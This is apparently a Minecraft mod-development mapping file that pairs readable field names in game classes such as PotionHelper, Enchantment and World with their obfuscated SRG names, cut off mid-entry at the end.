net/minecraft/potion/PotionHelper/field_77922_b +FD: net/minecraft/potion/PotionHelper/ghastTearEffect net/minecraft/potion/PotionHelper/field_77923_c +FD: net/minecraft/potion/PotionHelper/spiderEyeEffect net/minecraft/potion/PotionHelper/field_77920_d +FD: net/minecraft/potion/PotionHelper/fermentedSpiderEyeEffect net/minecraft/potion/PotionHelper/field_77921_e +FD: net/minecraft/potion/PotionHelper/speckledMelonEffect net/minecraft/potion/PotionHelper/field_77918_f +FD: net/minecraft/potion/PotionHelper/blazePowderEffect net/minecraft/potion/PotionHelper/field_77919_g +FD: net/minecraft/potion/PotionHelper/magmaCreamEffect net/minecraft/potion/PotionHelper/field_77931_h +FD: net/minecraft/potion/PotionHelper/redstoneEffect net/minecraft/potion/PotionHelper/field_77932_i +FD: net/minecraft/potion/PotionHelper/glowstoneEffect net/minecraft/potion/PotionHelper/field_77929_j +FD: net/minecraft/potion/PotionHelper/gunpowderEffect net/minecraft/potion/PotionHelper/field_77930_k +FD: net/minecraft/potion/PotionHelper/goldenCarrotEffect net/minecraft/potion/PotionHelper/field_82818_l +FD: net/minecraft/potion/PotionHelper/pufferfishEffect net/minecraft/potion/PotionHelper/field_151423_m +FD: net/minecraft/potion/PotionHelper/rabbitFootEffect net/minecraft/potion/PotionHelper/field_179538_n +FD: net/minecraft/potion/PotionHelper/potionRequirements net/minecraft/potion/PotionHelper/field_179539_o +FD: net/minecraft/potion/PotionHelper/potionAmplifiers net/minecraft/potion/PotionHelper/field_179540_p +FD: net/minecraft/potion/PotionHelper/DATAVALUE_COLORS net/minecraft/potion/PotionHelper/field_77925_n +FD: net/minecraft/potion/PotionHelper/potionPrefixes net/minecraft/potion/PotionHelper/field_77926_o +FD: net/minecraft/item/crafting/RecipesArmor/recipePatterns net/minecraft/item/crafting/RecipesArmor/field_77611_a +FD: net/minecraft/item/crafting/RecipesArmor/recipeItems net/minecraft/item/crafting/RecipesArmor/field_77610_b +FD: net/minecraft/item/crafting/RecipeFireworks/field_92102_a net/minecraft/item/crafting/RecipeFireworks/field_92102_a +FD: net/minecraft/item/crafting/FurnaceRecipes/smeltingBase net/minecraft/item/crafting/FurnaceRecipes/field_77606_a +FD: net/minecraft/item/crafting/FurnaceRecipes/smeltingList net/minecraft/item/crafting/FurnaceRecipes/field_77604_b +FD: net/minecraft/item/crafting/FurnaceRecipes/experienceList net/minecraft/item/crafting/FurnaceRecipes/field_77605_c +FD: net/minecraft/item/crafting/RecipesIngots/recipeItems net/minecraft/item/crafting/RecipesIngots/field_77591_a +FD: net/minecraft/item/crafting/CraftingManager$1/field_77582_a net/minecraft/item/crafting/CraftingManager$1/field_77582_a +FD: net/minecraft/item/crafting/CraftingManager/instance net/minecraft/item/crafting/CraftingManager/field_77598_a +FD: net/minecraft/item/crafting/CraftingManager/recipes net/minecraft/item/crafting/CraftingManager/field_77597_b +FD: net/minecraft/item/crafting/ShapedRecipes/recipeWidth net/minecraft/item/crafting/ShapedRecipes/field_77576_b +FD: net/minecraft/item/crafting/ShapedRecipes/recipeHeight net/minecraft/item/crafting/ShapedRecipes/field_77577_c +FD: net/minecraft/item/crafting/ShapedRecipes/recipeItems net/minecraft/item/crafting/ShapedRecipes/field_77574_d +FD: net/minecraft/item/crafting/ShapedRecipes/recipeOutput net/minecraft/item/crafting/ShapedRecipes/field_77575_e +FD: net/minecraft/item/crafting/ShapedRecipes/copyIngredientNBT net/minecraft/item/crafting/ShapedRecipes/field_92101_f +FD: net/minecraft/item/crafting/ShapelessRecipes/recipeOutput net/minecraft/item/crafting/ShapelessRecipes/field_77580_a +FD: net/minecraft/item/crafting/ShapelessRecipes/recipeItems net/minecraft/item/crafting/ShapelessRecipes/field_77579_b +FD: net/minecraft/item/crafting/RecipesTools/recipePatterns net/minecraft/item/crafting/RecipesTools/field_77588_a +FD: net/minecraft/item/crafting/RecipesTools/recipeItems net/minecraft/item/crafting/RecipesTools/field_77587_b +FD: net/minecraft/item/crafting/RecipesWeapons/recipePatterns net/minecraft/item/crafting/RecipesWeapons/field_77585_a +FD: net/minecraft/item/crafting/RecipesWeapons/recipeItems net/minecraft/item/crafting/RecipesWeapons/field_77584_b +FD: net/minecraft/enchantment/EnchantmentDamage/protectionName net/minecraft/enchantment/EnchantmentDamage/field_77359_A +FD: net/minecraft/enchantment/EnchantmentDamage/baseEnchantability net/minecraft/enchantment/EnchantmentDamage/field_77360_B +FD: net/minecraft/enchantment/EnchantmentDamage/levelEnchantability net/minecraft/enchantment/EnchantmentDamage/field_77362_C +FD: net/minecraft/enchantment/EnchantmentDamage/thresholdEnchantability net/minecraft/enchantment/EnchantmentDamage/field_77358_D +FD: net/minecraft/enchantment/EnchantmentDamage/damageType net/minecraft/enchantment/EnchantmentDamage/field_77361_a +FD: net/minecraft/enchantment/Enchantment/lure net/minecraft/enchantment/Enchantment/field_151369_A +FD: net/minecraft/enchantment/Enchantment/effectId net/minecraft/enchantment/Enchantment/field_77352_x +FD: net/minecraft/enchantment/Enchantment/type net/minecraft/enchantment/Enchantment/field_77351_y +FD: net/minecraft/enchantment/Enchantment/name net/minecraft/enchantment/Enchantment/field_77350_z +FD: net/minecraft/enchantment/Enchantment/locationEnchantments net/minecraft/enchantment/Enchantment/field_180307_E +FD: net/minecraft/enchantment/Enchantment/weight net/minecraft/enchantment/Enchantment/field_77333_a +FD: net/minecraft/enchantment/Enchantment/enchantmentsList net/minecraft/enchantment/Enchantment/field_180311_a +FD: net/minecraft/enchantment/Enchantment/enchantmentsBookList net/minecraft/enchantment/Enchantment/field_77331_b +FD: net/minecraft/enchantment/Enchantment/protection net/minecraft/enchantment/Enchantment/field_180310_c +FD: net/minecraft/enchantment/Enchantment/fireProtection net/minecraft/enchantment/Enchantment/field_77329_d +FD: net/minecraft/enchantment/Enchantment/featherFalling net/minecraft/enchantment/Enchantment/field_180309_e +FD: net/minecraft/enchantment/Enchantment/blastProtection net/minecraft/enchantment/Enchantment/field_77327_f +FD: net/minecraft/enchantment/Enchantment/projectileProtection net/minecraft/enchantment/Enchantment/field_180308_g +FD: net/minecraft/enchantment/Enchantment/respiration net/minecraft/enchantment/Enchantment/field_180317_h +FD: net/minecraft/enchantment/Enchantment/aquaAffinity net/minecraft/enchantment/Enchantment/field_77341_i +FD: net/minecraft/enchantment/Enchantment/thorns net/minecraft/enchantment/Enchantment/field_92091_k +FD: net/minecraft/enchantment/Enchantment/depthStrider net/minecraft/enchantment/Enchantment/field_180316_k +FD: net/minecraft/enchantment/Enchantment/sharpness net/minecraft/enchantment/Enchantment/field_180314_l +FD: net/minecraft/enchantment/Enchantment/smite net/minecraft/enchantment/Enchantment/field_180315_m +FD: net/minecraft/enchantment/Enchantment/baneOfArthropods net/minecraft/enchantment/Enchantment/field_180312_n +FD: net/minecraft/enchantment/Enchantment/knockback net/minecraft/enchantment/Enchantment/field_180313_o +FD: net/minecraft/enchantment/Enchantment/fireAspect net/minecraft/enchantment/Enchantment/field_77334_n +FD: net/minecraft/enchantment/Enchantment/looting net/minecraft/enchantment/Enchantment/field_77335_o +FD: net/minecraft/enchantment/Enchantment/efficiency net/minecraft/enchantment/Enchantment/field_77349_p +FD: net/minecraft/enchantment/Enchantment/silkTouch net/minecraft/enchantment/Enchantment/field_77348_q +FD: net/minecraft/enchantment/Enchantment/unbreaking net/minecraft/enchantment/Enchantment/field_77347_r +FD: net/minecraft/enchantment/Enchantment/fortune net/minecraft/enchantment/Enchantment/field_77346_s +FD: net/minecraft/enchantment/Enchantment/power net/minecraft/enchantment/Enchantment/field_77345_t +FD: net/minecraft/enchantment/Enchantment/punch net/minecraft/enchantment/Enchantment/field_77344_u +FD: net/minecraft/enchantment/Enchantment/flame net/minecraft/enchantment/Enchantment/field_77343_v +FD: net/minecraft/enchantment/Enchantment/infinity net/minecraft/enchantment/Enchantment/field_77342_w +FD: net/minecraft/enchantment/Enchantment/luckOfTheSea net/minecraft/enchantment/Enchantment/field_151370_z +FD: net/minecraft/enchantment/EnumEnchantmentType/ALL net/minecraft/enchantment/EnumEnchantmentType/ALL +FD: net/minecraft/enchantment/EnumEnchantmentType/ARMOR net/minecraft/enchantment/EnumEnchantmentType/ARMOR +FD: net/minecraft/enchantment/EnumEnchantmentType/ARMOR_FEET net/minecraft/enchantment/EnumEnchantmentType/ARMOR_FEET +FD: net/minecraft/enchantment/EnumEnchantmentType/ARMOR_LEGS net/minecraft/enchantment/EnumEnchantmentType/ARMOR_LEGS +FD: net/minecraft/enchantment/EnumEnchantmentType/ARMOR_TORSO net/minecraft/enchantment/EnumEnchantmentType/ARMOR_TORSO +FD: net/minecraft/enchantment/EnumEnchantmentType/ARMOR_HEAD net/minecraft/enchantment/EnumEnchantmentType/ARMOR_HEAD +FD: net/minecraft/enchantment/EnumEnchantmentType/WEAPON net/minecraft/enchantment/EnumEnchantmentType/WEAPON +FD: net/minecraft/enchantment/EnumEnchantmentType/DIGGER net/minecraft/enchantment/EnumEnchantmentType/DIGGER +FD: net/minecraft/enchantment/EnumEnchantmentType/FISHING_ROD net/minecraft/enchantment/EnumEnchantmentType/FISHING_ROD +FD: net/minecraft/enchantment/EnumEnchantmentType/BREAKABLE net/minecraft/enchantment/EnumEnchantmentType/BREAKABLE +FD: net/minecraft/enchantment/EnumEnchantmentType/BOW net/minecraft/enchantment/EnumEnchantmentType/BOW +FD: net/minecraft/enchantment/EnumEnchantmentType/$VALUES net/minecraft/enchantment/EnumEnchantmentType/$VALUES +FD: net/minecraft/enchantment/EnchantmentHelper$DamageIterator/user net/minecraft/enchantment/EnchantmentHelper$DamageIterator/field_151366_a +FD: net/minecraft/enchantment/EnchantmentHelper$DamageIterator/target net/minecraft/enchantment/EnchantmentHelper$DamageIterator/field_151365_b +FD: net/minecraft/enchantment/EnchantmentHelper$HurtIterator/user net/minecraft/enchantment/EnchantmentHelper$HurtIterator/field_151364_a +FD: net/minecraft/enchantment/EnchantmentHelper$HurtIterator/attacker net/minecraft/enchantment/EnchantmentHelper$HurtIterator/field_151363_b +FD: net/minecraft/enchantment/EnchantmentHelper$ModifierLiving/livingModifier net/minecraft/enchantment/EnchantmentHelper$ModifierLiving/field_77495_a +FD: net/minecraft/enchantment/EnchantmentHelper$ModifierLiving/entityLiving net/minecraft/enchantment/EnchantmentHelper$ModifierLiving/field_77494_b +FD: net/minecraft/enchantment/EnchantmentHelper$ModifierDamage/damageModifier net/minecraft/enchantment/EnchantmentHelper$ModifierDamage/field_77497_a +FD: net/minecraft/enchantment/EnchantmentHelper$ModifierDamage/source net/minecraft/enchantment/EnchantmentHelper$ModifierDamage/field_77496_b +FD: net/minecraft/enchantment/EnchantmentHelper/enchantmentRand net/minecraft/enchantment/EnchantmentHelper/field_77522_a +FD: net/minecraft/enchantment/EnchantmentHelper/enchantmentModifierDamage net/minecraft/enchantment/EnchantmentHelper/field_77520_b +FD: net/minecraft/enchantment/EnchantmentHelper/enchantmentModifierLiving net/minecraft/enchantment/EnchantmentHelper/field_77521_c +FD: net/minecraft/enchantment/EnchantmentHelper/ENCHANTMENT_ITERATOR_HURT net/minecraft/enchantment/EnchantmentHelper/field_151388_d +FD: net/minecraft/enchantment/EnchantmentHelper/ENCHANTMENT_ITERATOR_DAMAGE net/minecraft/enchantment/EnchantmentHelper/field_151389_e +FD: net/minecraft/enchantment/EnchantmentData/enchantmentobj net/minecraft/enchantment/EnchantmentData/field_76302_b +FD: net/minecraft/enchantment/EnchantmentData/enchantmentLevel net/minecraft/enchantment/EnchantmentData/field_76303_c +FD: net/minecraft/enchantment/EnchantmentProtection/protectionName net/minecraft/enchantment/EnchantmentProtection/field_77354_A +FD: net/minecraft/enchantment/EnchantmentProtection/baseEnchantability net/minecraft/enchantment/EnchantmentProtection/field_77355_B +FD: net/minecraft/enchantment/EnchantmentProtection/levelEnchantability net/minecraft/enchantment/EnchantmentProtection/field_77357_C +FD: net/minecraft/enchantment/EnchantmentProtection/thresholdEnchantability net/minecraft/enchantment/EnchantmentProtection/field_77353_D +FD: net/minecraft/enchantment/EnchantmentProtection/protectionType net/minecraft/enchantment/EnchantmentProtection/field_77356_a +FD: net/minecraft/village/MerchantRecipe/itemToBuy net/minecraft/village/MerchantRecipe/field_77403_a +FD: net/minecraft/village/MerchantRecipe/secondItemToBuy net/minecraft/village/MerchantRecipe/field_77401_b +FD: net/minecraft/village/MerchantRecipe/itemToSell net/minecraft/village/MerchantRecipe/field_77402_c +FD: net/minecraft/village/MerchantRecipe/toolUses net/minecraft/village/MerchantRecipe/field_77400_d +FD: net/minecraft/village/MerchantRecipe/maxTradeUses net/minecraft/village/MerchantRecipe/field_82786_e +FD: net/minecraft/village/MerchantRecipe/rewardsExp net/minecraft/village/MerchantRecipe/field_180323_f +FD: net/minecraft/command/CommandExecuteAt$1/field_174804_a net/minecraft/command/CommandExecuteAt$1/field_174804_a +FD: net/minecraft/command/CommandExecuteAt$1/field_174802_b net/minecraft/command/CommandExecuteAt$1/field_174802_b +FD: net/minecraft/command/CommandExecuteAt$1/field_174803_c net/minecraft/command/CommandExecuteAt$1/field_174803_c +FD: net/minecraft/command/CommandExecuteAt$1/field_174800_d net/minecraft/command/CommandExecuteAt$1/field_174800_d +FD: net/minecraft/command/CommandExecuteAt$1/field_174801_e net/minecraft/command/CommandExecuteAt$1/field_174801_e +FD: net/minecraft/command/CommandExecuteAt$1/field_174798_f net/minecraft/command/CommandExecuteAt$1/field_174798_f +FD: net/minecraft/command/CommandExecuteAt$1/field_174799_g net/minecraft/command/CommandExecuteAt$1/field_174799_g +FD: net/minecraft/command/server/CommandBlockLogic$1/field_180325_a net/minecraft/command/server/CommandBlockLogic$1/field_180325_a +FD: net/minecraft/command/server/CommandBlockLogic$2/field_180327_a net/minecraft/command/server/CommandBlockLogic$2/field_180327_a +FD: net/minecraft/command/server/CommandBlockLogic/timestampFormat net/minecraft/command/server/CommandBlockLogic/field_145766_a +FD: net/minecraft/command/server/CommandBlockLogic/successCount net/minecraft/command/server/CommandBlockLogic/field_145764_b +FD: net/minecraft/command/server/CommandBlockLogic/trackOutput net/minecraft/command/server/CommandBlockLogic/field_145765_c +FD: net/minecraft/command/server/CommandBlockLogic/lastOutput net/minecraft/command/server/CommandBlockLogic/field_145762_d +FD: net/minecraft/command/server/CommandBlockLogic/commandStored net/minecraft/command/server/CommandBlockLogic/field_145763_e +FD: net/minecraft/command/server/CommandBlockLogic/customName net/minecraft/command/server/CommandBlockLogic/field_145761_f +FD: net/minecraft/command/server/CommandBlockLogic/resultStats net/minecraft/command/server/CommandBlockLogic/field_175575_g +FD: net/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart/field_98221_d net/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart/field_98221_d +FD: net/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart/nbtData net/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart/field_98222_b +FD: net/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart/entityType net/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart/field_98223_c +FD: net/minecraft/tileentity/MobSpawnerBaseLogic/spawnDelay net/minecraft/tileentity/MobSpawnerBaseLogic/field_98286_b +FD: net/minecraft/tileentity/MobSpawnerBaseLogic/mobID net/minecraft/tileentity/MobSpawnerBaseLogic/field_98288_a +FD: net/minecraft/tileentity/MobSpawnerBaseLogic/minecartToSpawn net/minecraft/tileentity/MobSpawnerBaseLogic/field_98285_e +FD: net/minecraft/tileentity/MobSpawnerBaseLogic/randomEntity net/minecraft/tileentity/MobSpawnerBaseLogic/field_98282_f +FD: net/minecraft/tileentity/MobSpawnerBaseLogic/mobRotation net/minecraft/tileentity/MobSpawnerBaseLogic/field_98287_c +FD: net/minecraft/tileentity/MobSpawnerBaseLogic/prevMobRotation net/minecraft/tileentity/MobSpawnerBaseLogic/field_98284_d +FD: net/minecraft/tileentity/MobSpawnerBaseLogic/minSpawnDelay net/minecraft/tileentity/MobSpawnerBaseLogic/field_98283_g +FD: net/minecraft/tileentity/MobSpawnerBaseLogic/maxSpawnDelay net/minecraft/tileentity/MobSpawnerBaseLogic/field_98293_h +FD: net/minecraft/tileentity/MobSpawnerBaseLogic/spawnCount net/minecraft/tileentity/MobSpawnerBaseLogic/field_98294_i +FD: net/minecraft/tileentity/MobSpawnerBaseLogic/cachedEntity net/minecraft/tileentity/MobSpawnerBaseLogic/field_98291_j +FD: net/minecraft/tileentity/MobSpawnerBaseLogic/maxNearbyEntities net/minecraft/tileentity/MobSpawnerBaseLogic/field_98292_k +FD: net/minecraft/tileentity/MobSpawnerBaseLogic/activatingRangeFromPlayer net/minecraft/tileentity/MobSpawnerBaseLogic/field_98289_l +FD: net/minecraft/tileentity/MobSpawnerBaseLogic/spawnRange net/minecraft/tileentity/MobSpawnerBaseLogic/field_98290_m +FD: net/minecraft/block/BlockEventData/position net/minecraft/block/BlockEventData/field_180329_a +FD: net/minecraft/block/BlockEventData/blockType net/minecraft/block/BlockEventData/field_151344_d +FD: net/minecraft/block/BlockEventData/eventID net/minecraft/block/BlockEventData/field_151345_e +FD: net/minecraft/block/BlockEventData/eventParameter net/minecraft/block/BlockEventData/field_151343_f +FD: net/minecraft/util/EnumWorldBlockLayer/SOLID net/minecraft/util/EnumWorldBlockLayer/SOLID +FD: net/minecraft/util/EnumWorldBlockLayer/CUTOUT_MIPPED net/minecraft/util/EnumWorldBlockLayer/CUTOUT_MIPPED +FD: net/minecraft/util/EnumWorldBlockLayer/CUTOUT net/minecraft/util/EnumWorldBlockLayer/CUTOUT +FD: net/minecraft/util/EnumWorldBlockLayer/TRANSLUCENT net/minecraft/util/EnumWorldBlockLayer/TRANSLUCENT +FD: net/minecraft/util/EnumWorldBlockLayer/layerName net/minecraft/util/EnumWorldBlockLayer/field_180338_e +FD: net/minecraft/util/EnumWorldBlockLayer/$VALUES net/minecraft/util/EnumWorldBlockLayer/$VALUES +FD: net/minecraft/world/ChunkCoordIntPair/chunkXPos net/minecraft/world/ChunkCoordIntPair/field_77276_a +FD: net/minecraft/world/ChunkCoordIntPair/chunkZPos net/minecraft/world/ChunkCoordIntPair/field_77275_b +FD: net/minecraft/world/Explosion/isFlaming net/minecraft/world/Explosion/field_77286_a +FD: net/minecraft/world/Explosion/isSmoking net/minecraft/world/Explosion/field_82755_b +FD: net/minecraft/world/Explosion/explosionRNG net/minecraft/world/Explosion/field_77290_i +FD: net/minecraft/world/Explosion/worldObj net/minecraft/world/Explosion/field_77287_j +FD: net/minecraft/world/Explosion/explosionX net/minecraft/world/Explosion/field_77284_b +FD: net/minecraft/world/Explosion/explosionY net/minecraft/world/Explosion/field_77285_c +FD: net/minecraft/world/Explosion/explosionZ net/minecraft/world/Explosion/field_77282_d +FD: net/minecraft/world/Explosion/exploder net/minecraft/world/Explosion/field_77283_e +FD: net/minecraft/world/Explosion/explosionSize net/minecraft/world/Explosion/field_77280_f +FD: net/minecraft/world/Explosion/affectedBlockPositions net/minecraft/world/Explosion/field_77281_g +FD: net/minecraft/world/Explosion/playerKnockbackMap net/minecraft/world/Explosion/field_77288_k +FD: net/minecraft/world/ColorizerFoliage/foliageBuffer net/minecraft/world/ColorizerFoliage/field_77471_a +FD: net/minecraft/world/GameRules$Value/valueString net/minecraft/world/GameRules$Value/field_82762_a +FD: net/minecraft/world/GameRules$Value/valueBoolean net/minecraft/world/GameRules$Value/field_82760_b +FD: net/minecraft/world/GameRules$Value/valueInteger net/minecraft/world/GameRules$Value/field_82761_c +FD: net/minecraft/world/GameRules$Value/valueDouble net/minecraft/world/GameRules$Value/field_82759_d +FD: net/minecraft/world/GameRules$Value/type net/minecraft/world/GameRules$Value/field_180256_e +FD: net/minecraft/world/GameRules$ValueType/ANY_VALUE net/minecraft/world/GameRules$ValueType/ANY_VALUE +FD: net/minecraft/world/GameRules$ValueType/BOOLEAN_VALUE net/minecraft/world/GameRules$ValueType/BOOLEAN_VALUE +FD: net/minecraft/world/GameRules$ValueType/NUMERICAL_VALUE net/minecraft/world/GameRules$ValueType/NUMERICAL_VALUE +FD: net/minecraft/world/GameRules$ValueType/$VALUES net/minecraft/world/GameRules$ValueType/$VALUES +FD: net/minecraft/world/GameRules/theGameRules net/minecraft/world/GameRules/field_82771_a +FD: net/minecraft/world/ColorizerGrass/grassBuffer net/minecraft/world/ColorizerGrass/field_77481_a +FD: net/minecraft/world/World$1/field_180253_a net/minecraft/world/World$1/field_180253_a +FD: net/minecraft/world/World$1/field_77485_a net/minecraft/world/World$1/field_77485_a +FD: net/minecraft/world/World$2/field_151300_a net/minecraft/world/World$2/field_151300_a +FD: net/minecraft/world/World$2/field_77405_a net/minecraft/world/World$2/field_77405_a +FD: net/minecraft/world/World$3/field_77440_a net/minecraft/world/World$3/field_77440_a +FD: net/minecraft/world/World$4/field_151308_a net/minecraft/world/World$4/field_151308_a +FD: net/minecraft/world/World/villageCollectionObj net/minecraft/world/World/field_72982_D +FD: net/minecraft/world/World/theProfiler net/minecraft/world/World/field_72984_F +FD: net/minecraft/world/World/worldScoreboard net/minecraft/world/World/field_96442_D +FD: net/minecraft/world/World/isRemote net/minecraft/world/World/field_72995_K +FD: net/minecraft/world/World/activeChunkSet net/minecraft/world/World/field_72993_I +FD: net/minecraft/world/World/spawnHostileMobs net/minecraft/world/World/field_72985_G +FD: net/minecraft/world/World/spawnPeacefulMobs net/minecraft/world/World/field_72992_H +FD: net/minecraft/world/World/lightUpdateBlockList net/minecraft/world/World/field_72994_J +FD: net/minecraft/world/World/skylightSubtracted net/minecraft/world/World/field_73008_k +FD: net/minecraft/world/World/lastLightningBolt net/minecraft/world/World/field_73016_r +FD: net/minecraft/world/World/theCalendar net/minecraft/world/World/field_83016_L +FD: net/minecraft/world/World/ambientTickCountdown net/minecraft/world/World/field_72990_M +FD: net/minecraft/world/World/processingLoadedTiles net/minecraft/world/World/field_147481_N +FD: net/minecraft/world/World/worldBorder net/minecraft/world/World/field_175728_M +FD: net/minecraft/world/World/seaLevel net/minecraft/world/World/field_181546_a +FD: net/minecraft/world/World/addedTileEntityList net/minecraft/world/World/field_147484_a +FD: net/minecraft/world/World/tileEntitiesToBeRemoved net/minecraft/world/World/field_147483_b +FD: net/minecraft/world/World/cloudColour net/minecraft/world/World/field_73001_c +FD: net/minecraft/world/World/scheduledUpdatesAreImmediate net/minecraft/world/World/field_72999_e +FD: net/minecraft/world/World/loadedEntityList net/minecraft/world/World/field_72996_f +FD: net/minecraft/world/World/unloadedEntityList net/minecraft/world/World/field_72997_g +FD: net/minecraft/world/World/loadedTileEntityList net/minecraft/world/World/field_147482_g +FD: net/minecraft/world/World/tickableTileEntities net/minecraft/world/World/field_175730_i +FD: net/minecraft/world/World/playerEntities net/minecraft/world/World/field_73010_i +FD: net/minecraft/world/World/weatherEffects net/minecraft/world/World/field_73007_j +FD: net/minecraft/world/World/entitiesById net/minecraft/world/World/field_175729_l +FD: net/minecraft/world/World/updateLCG net/minecraft/world/World/field_73005_l +FD: net/minecraft/world/World/DIST_HASH_MAGIC net/minecraft/world/World/field_73006_m +FD: net/minecraft/world/World/prevRainingStrength net/minecraft/world/World/field_73003_n +FD: net/minecraft/world/World/rainingStrength net/minecraft/world/World/field_73004_o +FD: net/minecraft/world/World/prevThunderingStrength net/minecraft/world/World/field_73018_p +FD: net/minecraft/world/World/thunderingStrength net/minecraft/world/World/field_73017_q +FD: net/minecraft/world/World/rand net/minecraft/world/World/field_73012_v +FD: net/minecraft/world/World/provider net/minecraft/world/World/field_73011_w +FD: net/minecraft/world/World/worldAccesses net/minecraft/world/World/field_73021_x +FD: net/minecraft/world/World/chunkProvider net/minecraft/world/World/field_73020_y +FD: net/minecraft/world/World/saveHandler net/minecraft/world/World/field_73019_z +FD: net/minecraft/world/World/worldInfo net/minecraft/world/World/field_72986_A +FD: net/minecraft/world/World/findingSpawnPoint net/minecraft/world/World/field_72987_B +FD: net/minecraft/world/World/mapStorage net/minecraft/world/World/field_72988_C +FD: net/minecraft/world/WorldSettings$GameType/NOT_SET net/minecraft/world/WorldSettings$GameType/NOT_SET +FD: net/minecraft/world/WorldSettings$GameType/SURVIVAL net/minecraft/world/WorldSettings$GameType/SURVIVAL +FD: net/minecraft/world/WorldSettings$GameType/CREATIVE net/minecraft/world/WorldSettings$GameType/CREATIVE +FD: net/minecraft/world/WorldSettings$GameType/ADVENTURE net/minecraft/world/WorldSettings$GameType/ADVENTURE +FD: net/minecraft/world/WorldSettings$GameType/SPECTATOR net/minecraft/world/WorldSettings$GameType/SPECTATOR +FD: net/minecraft/world/WorldSettings$GameType/id net/minecraft/world/WorldSettings$GameType/field_77154_e +FD: net/minecraft/world/WorldSettings$GameType/name net/minecraft/world/WorldSettings$GameType/field_77151_f +FD: net/minecraft/world/WorldSettings$GameType/$VALUES net/minecraft/world/WorldSettings$GameType/$VALUES +FD: net/minecraft/world/WorldSettings/seed net/minecraft/world/WorldSettings/field_77174_a +FD: net/minecraft/world/WorldSettings/theGameType net/minecraft/world/WorldSettings/field_77172_b +FD: net/minecraft/world/WorldSettings/mapFeaturesEnabled net/minecraft/world/WorldSettings/field_77173_c +FD: net/minecraft/world/WorldSettings/hardcoreEnabled net/minecraft/world/WorldSettings/field_77170_d +FD: net/minecraft/world/WorldSettings/terrainType net/minecraft/world/WorldSettings/field_77171_e +FD: net/minecraft/world/WorldSettings/commandsAllowed net/minecraft/world/WorldSettings/field_77168_f +FD: net/minecraft/world/WorldSettings/bonusChestEnabled net/minecraft/world/WorldSettings/field_77169_g +FD: net/minecraft/world/WorldSettings/worldName net/minecraft/world/WorldSettings/field_82751_h +FD: net/minecraft/world/WorldType/worldTypes net/minecraft/world/WorldType/field_77139_a +FD: net/minecraft/world/WorldType/DEFAULT net/minecraft/world/WorldType/field_77137_b +FD: net/minecraft/world/WorldType/FLAT net/minecraft/world/WorldType/field_77138_c +FD: net/minecraft/world/WorldType/LARGE_BIOMES net/minecraft/world/WorldType/field_77135_d +FD: net/minecraft/world/WorldType/AMPLIFIED net/minecraft/world/WorldType/field_151360_e +FD: net/minecraft/world/WorldType/CUSTOMIZED net/minecraft/world/WorldType/field_180271_f +FD: net/minecraft/world/WorldType/DEBUG_WORLD net/minecraft/world/WorldType/field_180272_g +FD: net/minecraft/world/WorldType/DEFAULT_1_1 net/minecraft/world/WorldType/field_77136_e +FD: net/minecraft/world/WorldType/worldTypeId net/minecraft/world/WorldType/field_82748_f +FD: net/minecraft/world/WorldType/worldType net/minecraft/world/WorldType/field_77133_f +FD: net/minecraft/world/WorldType/generatorVersion net/minecraft/world/WorldType/field_77134_g +FD: net/minecraft/world/WorldType/canBeCreated net/minecraft/world/WorldType/field_77140_h +FD: net/minecraft/world/WorldType/isWorldTypeVersioned net/minecraft/world/WorldType/field_77141_i +FD: net/minecraft/world/WorldType/hasNotificationData net/minecraft/world/WorldType/field_151361_l +FD: net/minecraft/world/EnumSkyBlock/SKY net/minecraft/world/EnumSkyBlock/SKY +FD: net/minecraft/world/EnumSkyBlock/BLOCK net/minecraft/world/EnumSkyBlock/BLOCK +FD: net/minecraft/world/EnumSkyBlock/defaultLightValue net/minecraft/world/EnumSkyBlock/field_77198_c +FD: net/minecraft/world/EnumSkyBlock/$VALUES net/minecraft/world/EnumSkyBlock/$VALUES +FD: net/minecraft/world/SpawnerAnimals/MOB_COUNT_DIV net/minecraft/world/SpawnerAnimals/field_180268_a +FD: net/minecraft/world/SpawnerAnimals/eligibleChunksForSpawning net/minecraft/world/SpawnerAnimals/field_77193_b +FD: net/minecraft/world/Teleporter$PortalPosition/lastUpdateTime net/minecraft/world/Teleporter$PortalPosition/field_85087_d +FD: net/minecraft/world/Teleporter$PortalPosition/field_85088_e net/minecraft/world/Teleporter$PortalPosition/field_85088_e +FD: net/minecraft/world/Teleporter/worldServerInstance net/minecraft/world/Teleporter/field_85192_a +FD: net/minecraft/world/Teleporter/random net/minecraft/world/Teleporter/field_77187_a +FD: net/minecraft/world/Teleporter/destinationCoordinateCache net/minecraft/world/Teleporter/field_85191_c +FD: net/minecraft/world/Teleporter/destinationCoordinateKeys net/minecraft/world/Teleporter/field_85190_d +FD: net/minecraft/world/ChunkCache/chunkX net/minecraft/world/ChunkCache/field_72818_a +FD: net/minecraft/world/ChunkCache/chunkZ net/minecraft/world/ChunkCache/field_72816_b +FD: net/minecraft/world/ChunkCache/chunkArray net/minecraft/world/ChunkCache/field_72817_c +FD: net/minecraft/world/ChunkCache/hasExtendedLevels net/minecraft/world/ChunkCache/field_72814_d +FD: net/minecraft/world/ChunkCache/worldObj net/minecraft/world/ChunkCache/field_72815_e +FD: net/minecraft/world/NextTickListEntry/position net/minecraft/world/NextTickListEntry/field_180282_a +FD: net/minecraft/world/NextTickListEntry/scheduledTime net/minecraft/world/NextTickListEntry/field_77180_e +FD: net/minecraft/world/NextTickListEntry/priority net/minecraft/world/NextTickListEntry/field_82754_f +FD: net/minecraft/world/NextTickListEntry/nextTickEntryID net/minecraft/world/NextTickListEntry/field_77177_f +FD: net/minecraft/world/NextTickListEntry/block net/minecraft/world/NextTickListEntry/field_151352_g +FD: net/minecraft/world/NextTickListEntry/tickEntryID net/minecraft/world/NextTickListEntry/field_77178_g +FD: net/minecraft/world/biome/BiomeGenBase$1/field_180275_a net/minecraft/world/biome/BiomeGenBase$1/field_180275_a +FD: net/minecraft/world/biome/BiomeGenBase$Height/rootHeight net/minecraft/world/biome/BiomeGenBase$Height/field_150777_a +FD: net/minecraft/world/biome/BiomeGenBase$Height/variation net/minecraft/world/biome/BiomeGenBase$Height/field_150776_b +FD: net/minecraft/world/biome/BiomeGenBase$TempCategory/OCEAN net/minecraft/world/biome/BiomeGenBase$TempCategory/OCEAN +FD: 